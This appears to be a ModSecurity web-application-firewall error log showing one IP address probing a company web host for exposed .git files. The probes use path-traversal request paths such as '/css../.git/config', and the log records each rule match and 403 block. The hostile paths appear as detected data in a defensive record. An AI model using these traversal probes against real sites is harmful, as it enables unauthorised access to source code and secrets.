[Sun Oct 25 22:57:35.376942 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at7Bn-5qdVS0urJsjm1WrAAAAAk"]
[Sun Oct 25 22:57:35.432474 2026] [security2:error] [pid 2948436:tid 2948436] [client 45.138.12.25:41394] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at7BnzXR5ojXz3zGeulJygAAAAY"]
[Sun Oct 25 22:57:35.432551 2026] [security2:error] [pid 2948436:tid 2948436] [client 45.138.12.25:41394] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at7BnzXR5ojXz3zGeulJygAAAAY"]
[Sun Oct 25 22:57:35.432620 2026] [security2:error] [pid 2948436:tid 2948436] [client 45.138.12.25:41394] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at7BnzXR5ojXz3zGeulJygAAAAY"]
[Sun Oct 25 22:57:35.432841 2026] [security2:error] [pid 2948436:tid 2948436] [client 45.138.12.25:41394] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at7BnzXR5ojXz3zGeulJygAAAAY"]
[Sun Oct 25 22:57:35.433111 2026] [security2:error] [pid 2948436:tid 2948436] [client 45.138.12.25:41394] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/css../.git/config"] [unique_id "at7BnzXR5ojXz3zGeulJygAAAAY"]
[Sun Oct 25 22:57:35.440038 2026] [security2:error] [pid 2949515:tid 2949515] [client 45.138.12.25:35293] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at7Bnx9ZWJbCICX7c2HyAAAAABE"]
[Sun Oct 25 22:57:35.440090 2026] [security2:error] [pid 2949515:tid 2949515] [client 45.138.12.25:35293] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at7Bnx9ZWJbCICX7c2HyAAAAABE"]
[Sun Oct 25 22:57:35.440169 2026] [security2:error] [pid 2949515:tid 2949515] [client 45.138.12.25:35293] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at7Bnx9ZWJbCICX7c2HyAAAAABE"]
[Sun Oct 25 22:57:35.440309 2026] [security2:error] [pid 2949515:tid 2949515] [client 45.138.12.25:35293] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at7Bnx9ZWJbCICX7c2HyAAAAABE"]
[Sun Oct 25 22:57:35.440593 2026] [security2:error] [pid 2949515:tid 2949515] [client 45.138.12.25:35293] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at7Bnx9ZWJbCICX7c2HyAAAAABE"]
[Sun Oct 25 22:57:35.599705 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /lib../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at7Bn-5qdVS0urJsjm1WrQAAAAk"]
[Sun Oct 25 22:57:35.599768 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /lib../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at7Bn-5qdVS0urJsjm1WrQAAAAk"]
[Sun Oct 25 22:57:35.599836 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at7Bn-5qdVS0urJsjm1WrQAAAAk"]
[Sun Oct 25 22:57:35.600096 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at7Bn-5qdVS0urJsjm1WrQAAAAk"]
[Sun Oct 25 22:57:35.600453 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at7Bn-5qdVS0urJsjm1WrQAAAAk"]
[Sun Oct 25 22:57:35.631196 2026] [security2:error] [pid 2948939:tid 2948939] [client 45.138.12.25:46880] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at7Bn5PSLEKgbCefhOPpuwAAAAs"]
[Sun Oct 25 22:57:35.631252 2026] [security2:error] [pid 2948939:tid 2948939] [client 45.138.12.25:46880] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at7Bn5PSLEKgbCefhOPpuwAAAAs"]
[Sun Oct 25 22:57:35.631305 2026] [security2:error] [pid 2948939:tid 2948939] [client 45.138.12.25:46880] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at7Bn5PSLEKgbCefhOPpuwAAAAs"]
[Sun Oct 25 22:57:35.631547 2026] [security2:error] [pid 2948939:tid 2948939] [client 45.138.12.25:46880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at7Bn5PSLEKgbCefhOPpuwAAAAs"]
[Sun Oct 25 22:57:35.631833 2026] [security2:error] [pid 2948939:tid 2948939] [client 45.138.12.25:46880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at7Bn5PSLEKgbCefhOPpuwAAAAs"]
[Sun Oct 25 22:57:35.851599 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.138.12.25:24313] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7BnwSn5HKIYfqg0eAkAgAAADc"]
[Sun Oct 25 22:57:35.851864 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.138.12.25:24313] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7BnwSn5HKIYfqg0eAkAgAAADc"]
[Sun Oct 25 22:57:35.852126 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.138.12.25:24313] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7BnwSn5HKIYfqg0eAkAgAAADc"]
[Sun Oct 25 22:57:35.884734 2026] [security2:error] [pid 2949515:tid 2949515] [client 45.138.12.25:35293] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at7Bnx9ZWJbCICX7c2HyAQAAABE"]
[Sun Oct 25 22:57:35.884779 2026] [security2:error] [pid 2949515:tid 2949515] [client 45.138.12.25:35293] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at7Bnx9ZWJbCICX7c2HyAQAAABE"]
[Sun Oct 25 22:57:35.884842 2026] [security2:error] [pid 2949515:tid 2949515] [client 45.138.12.25:35293] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at7Bnx9ZWJbCICX7c2HyAQAAABE"]
[Sun Oct 25 22:57:35.885036 2026] [security2:error] [pid 2949515:tid 2949515] [client 45.138.12.25:35293] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at7Bnx9ZWJbCICX7c2HyAQAAABE"]
[Sun Oct 25 22:57:35.885287 2026] [security2:error] [pid 2949515:tid 2949515] [client 45.138.12.25:35293] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at7Bnx9ZWJbCICX7c2HyAQAAABE"]
[Sun Oct 25 22:57:35.902287 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at7Bn-5qdVS0urJsjm1WrgAAAAk"]
[Sun Oct 25 22:57:35.902332 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at7Bn-5qdVS0urJsjm1WrgAAAAk"]
[Sun Oct 25 22:57:35.902402 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at7Bn-5qdVS0urJsjm1WrgAAAAk"]
[Sun Oct 25 22:57:35.902611 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at7Bn-5qdVS0urJsjm1WrgAAAAk"]
[Sun Oct 25 22:57:35.902839 2026] [security2:error] [pid 2949511:tid 2949511] [client 45.138.12.25:40965] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/assets../.git/config"] [unique_id "at7Bn-5qdVS0urJsjm1WrgAAAAk"]
[Sun Oct 25 22:57:35.927470 2026] [security2:error] [pid 2943111:tid 2943111] [client 45.138.12.25:25114] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at7Bn8PyJ7czCvVZGZzUNAAAAE4"]
[Sun Oct 25 22:57:35.927588 2026] [security2:error] [pid 2943111:tid 2943111] [client 45.138.12.25:25114] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas2.sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at7Bn8PyJ7czCvVZGZzUNAAAAE4"]
[Sun Oct 25 22:57:35.927654 2026] [security2:error] [pid 2943111:tid 2943111] [client 45.138.12.25:25114] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at7Bn8PyJ7czCvVZGZzUNAAAAE4"]
